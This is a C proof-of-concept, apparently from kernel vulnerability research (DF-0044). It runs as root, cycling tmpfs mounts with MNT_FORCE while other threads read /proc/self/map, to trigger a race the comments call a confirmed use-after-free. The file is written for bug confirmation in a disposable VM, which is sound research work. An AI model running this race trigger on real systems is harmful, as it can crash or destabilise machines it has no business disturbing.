/*
 * DF-0044 PoC (root variant) -- same race, but uses MNT_FORCE for a
 * faster free-side cycle.  Run as root inside the guest.
 *
 * The unprivileged variant mount_uaf.c exercises the same race without
 * MNT_FORCE; this variant maximizes the free-side rate to widen the
 * (extremely tight) race window.
 *
 * Build: cc -pthread -O2 -o mount_uaf_root mount_uaf_root.c
 * Run  (root, inside the guest, disposable VM):
 *      cd /tmp/df0044/m && ./mount_uaf_root /tmp/df0044/m 60
 *
 * CONFIRMED CODE-LEVEL BUG -- see VERDICT.md and mount_uaf.c.
 */

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>

struct tmpfs_mount_info {
	int   ta_version;
	long long ta_nodes_max;
	long long ta_size_max;
	unsigned long long ta_maxfsize_max;
	unsigned ta_root_uid;
	unsigned ta_root_gid;
	unsigned short ta_root_mode;
};

static char mpoint[512];
static volatile int go = 1;
static volatile unsigned long long iter_deref = 0;
static volatile unsigned long long iter_free  = 0;
static volatile unsigned long long iter_free_fail = 0;

static void *
mount_cycler(void *a)
{
	(void)a;
	while (go) {
		struct tmpfs_mount_info mi;
		memset(&mi, 0, sizeof(mi));
		mi.ta_version = 2;
		mi.ta_root_uid = 0;
		mi.ta_root_gid = 0;
		mi.ta_root_mode = 0755;
		int mr = mount("tmpfs", mpoint, 0, &mi);
		if (mr != 0) {
			iter_free_fail++;
			unmount(mpoint, MNT_FORCE);
			continue;
		}
		/* MNT_FORCE = 0x80000 -- fast teardown. */
		int ur = unmount(mpoint, MNT_FORCE);
		if (ur == 0)
			iter_free++;
		else
			iter_free_fail++;
	}
	return NULL;
}

static void *
map_reader(void *a)
{
	(void)a;
	char buf[65536];
	while (go) {
		int fd = open("/proc/self/map", O_RDONLY);
		if (fd < 0) { usleep(50); continue; }
		ssize_t n;
		while ((n = read(fd, buf, sizeof(buf))) > 0)
			iter_deref++;
		close(fd);
	}
	return NULL;
}

int main(int argc, char **argv)
{
	if (argc > 1)
		snprintf(mpoint, sizeof(mpoint), "%s", argv[1]);
	else if (getcwd(mpoint, sizeof(mpoint)) == NULL) {
		perror("getcwd"); return 2;
	}
	unsigned int secs = 30;
	if (argc > 2) secs = (unsigned int)atoi(argv[2]);
	unsigned int nfree = 4;
	if (argc > 3) nfree = (unsigned int)atoi(argv[3]);

	fprintf(stderr, "DF-0044-root: cycle %s, %u cyclers, %us\n",
		mpoint, nfree, secs);

	pthread_t tf[16], td[4];
	for (unsigned int i = 0; i < nfree && i < 16; i++)
		pthread_create(&tf[i], NULL, mount_cycler, NULL);
	for (int i = 0; i < 4; i++)
		pthread_create(&td[i], NULL, map_reader, NULL);

	sleep(secs);
	go = 0;
	for (unsigned int i = 0; i < nfree && i < 16; i++)
		pthread_join(tf[i], NULL);
	for (int i = 0; i < 4; i++)
		pthread_join(td[i], NULL);

	fprintf(stderr,
		"DF-0044-root: deref=%llu free_ok=%llu free_fail=%llu\n",
		iter_deref, iter_free, iter_free_fail);
	fprintf(stderr, "DF-0044-root: still alive -- race not won\n");
	return 0;
}
